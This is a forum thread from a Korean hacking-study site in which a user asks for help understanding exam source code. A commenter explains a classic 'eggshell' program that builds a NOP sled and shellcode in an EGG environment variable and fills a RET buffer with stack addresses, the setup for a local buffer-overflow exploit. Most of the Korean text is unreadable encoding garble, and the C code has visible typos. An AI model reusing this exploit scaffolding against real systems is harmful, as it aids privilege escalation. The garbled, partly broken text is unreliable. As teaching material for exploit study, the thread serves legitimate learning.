|
|
|
|
|
|
|
|
|
|
|
|
|
1574, 10/79 |
|
bluesun2 | |||||||
¼Ò½º Çؼ®Á» ºÎŹµå¸³´Ï´Ù (¾ð¾î¸¦ ¹è¿îÀûÀ̾ø¾î¼ ½ÃÇèÀε¥..) | |||||||
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1451 [º¹»ç]
Hit : 3362 Date : 2010/12/13 05:49
|
|||||||
¹Ùº¼ÀÌ | À§¿¡²« °£´ÜÈ÷ ¹öÆÛ¸¦ 0À¸·Î ÃʱâÈÇÑÈÄ, ÀÔ·ÂÀ» ¹Þ¾Æ¼ ±×´ë·Î Ãâ·ÂÇÏ´Â ÇÁ·Î±×·¥À̳׿ä Æ÷¸Ë ½ºÆ®¸µ ¹ö±×¹®Á¦Àΰ¡º¸³×¿ä ¹Ø¿¡²« ½©Äڵ带 ȯ°æº¯¼ö¿¡ ¿Ã·Á³õ°í ¶Ç ±× ȯ°æº¯¼öÀÇ ÁÖ¼Òµµ ȯ°æº¯¼ö¿¡ ¿Ã·Á³õ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù |
2010/12/17 | |
sweetick | Áö±Ý ½Å±âÇÑ°Ç ¹è¿îÀûÀÌ ¾ø´Â°É ½ÃÇèÀ¸·Î ³»´Â Çб³°¡ ÀÖ´Ù´Â »ç½Ç. | 2011/01/16 | |
rkdgh0112 | ÀϹÝÀûÀÎ ½©ÄÚµå±äÇѵ¥.. ÀÌ°ÉÁøÂ¥ °¡¸£ÃÄÁÖÁöµµ¾Ê°í ½ÃÇè¿¡³»³ª¿ä |
2011/02/11 | |
rkdgh0112 | ½©ÄÚµå °øºÎ´Â ¾ÈÇغôµ¥ ±×³É Á¦ ³ª¸§´ë·ÎÀÇ Çؼ®À» º¸¿©µå¸±²¾¿ä ½¬¿î°Ç °Ç³Ê¶Ù°í ¾à°£ Çò°¥¸®´Ù ½ÍÀº°Å³ª Áß¿äÇÑ°Å unnsigned long get_esp (void) { // get_esp ¶ó´Â À¯ÀúÇÔ¼öÀÇ Àü¿ª¼±¾ðÀÔ´Ï´Ù. __asm__("movl %esp, %eax") //.. %esp¿¡ %eax°ªÀ» Áִ°ɷκ¸À̳׿ä main (int argc, char *argv[]) { //¸ÞÀÎÇÔ¼öÀÇ ¿øÇü ¼±¾ð char *buff, *ptr, *egg; // buff, ptr,egg º¯¼öµéÀÇ charÇü Æ÷ÀÎÅÍ ¼³Á¤ char ÇüÀ¸·Î ¼³Á¤ÇÏ´ÂÀÌÀ¯ = Æ÷ÀÎÅÍ´Â ¸Þ¸ð¸®Áּұ⶧¹®¿¡ 16Áø¼öÀÇ ¼ýÀÚ¿°ú ¹®ÀÚ¿·Î Ç¥ÇöµÈ´Ù. long *addr_ptr, addr; // long ÇüÀÇ addr º¯¼ö¼±¾ð°ú ±×ÀÇ Æ÷ÀÎÅÍ ¼±¾ð int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // offsetÀ̶ó´Â º¯¼ö¸¦ default·Î ¼³Á¤, bsize¶ó´Â º¯¼ö¸¦ default·Î ¼³Á¤ int i, eggsize=DEFAULT_EGG_SIZE; // i¶ó´Â º¯¼ö¼±¾ð°ú eggsize¼±¾ð µ¿½Ã¿¡ eggsize¸¦ default_egg_size·Î ÇÔ ¹Ø¿¡ÁÙ ÇϱâÀü¿¡, if ¹®, else if, else¸ðµÎ ½ÇÇ๮ÀÌ ÇÑ°³ÀÏ°æ¿ì¿¡ Áß°ýÈ£¸¦ Á¦¿ÜÇÒ¼öÀÖÀ½ if (argc > 1) bsize = atoi (argv[ 1]); if (argc > 2) offset = atoi (argv[ 2]); if (argc > 3) eggsize = atoi (argv[ 3]); if (!(buff = malloc(bsize))) { printf ("can't allocate memory.\n"); exit (0); } Áï ÀÌ°Ç ÀÔ·ÂÇÑ ÀÎÀÚÀÇ °³¼ö°¡ °¢°¢ 1°³, 2°³, 3°³À϶§ ÀÇ »óȲµéÀ» ÁßøÇØ »ç¿ëÇÑ°ÍÀÔ´Ï´Ù. °á±¹ ÀÔ·ÂÇÑ ÀÎÀÚÀÇ °³¼ö°¡ 1ÀÌ»óÀ̸é 2°³ÀÌ»óÀÎÁöº¸°í 3°³ÀÌ»óÀÎÁöºÁ¼ ¸¶Áö¸·¿¡ malloc(bsize) Áï bsize¿¡ ÇÒ´çµÈ ¸Þ¸ð¸®½ºÅðú buffÀÇ °ªÀÌ °°Áö¾ÊÀ»°æ¿ì, can't allocate momory ¶ó´Â ¿¡·¯¹®ÀÌ ¹ß»ýÇϵµ·Ï ÇسõÀº°ÍÀÌÁÒ. ±×¸®°í ÇÔ¼öÀdz¡¿¡¼± 0À»¹ÝȯÇÕ´Ï´Ù. if (!(egg = malloc(eggsize))) { printf("can't allocate memory.\n"); exit (0); } ¶ÇÇÑ egg°¡ eggsize¿¡ ÇÒ´çµÈ ½ºÅÃ¸Þ¸ð¸®¿Í °°Áö¾ÊÀ¸¸é À§ÀÇ ¿¡·¯¹®ÀÌ ¶Ç ³ª¿À±¸¿ä. addr = get_esp() - offset; printf("using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++_ = addr; ptr = egg; for (i = 0; i < eggsize - strlen (shellcode) - 1; i++) * (ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[ i]; buff[bsize - 1] = '\0'; egg[ eggsize - 1] = '\0'; memcpy (egg, "EGG=", 4); putenv (egg); memcpy (buff, "RET=", 4); putenv (buff); system("/bin/bash"); } |
2011/02/11 | |
rkdgh0112 | addr = get_esp() - offset ºÎºÐºÎÅÍ´Â ³»ÀÏÀÛ¼ºÇÒ²¾¿ä.. ¾ö¸¶°¡ ÀÚ¶ó°í ¼ºÈ¿¡¿ä ¤»¤».. Ʋ¸°°ÅÀÖÀ¸¸é ¹«Á¶°Ç ÁöÀûÇØÁֽñ¸¿ä °á±¹ ÇÁ·Î±×·¥ÀÇ Á¾ÂøÁ¡Àº ½© ½ÇÇàÀÔ´Ï´Ù. |
2011/02/11 | |
|
|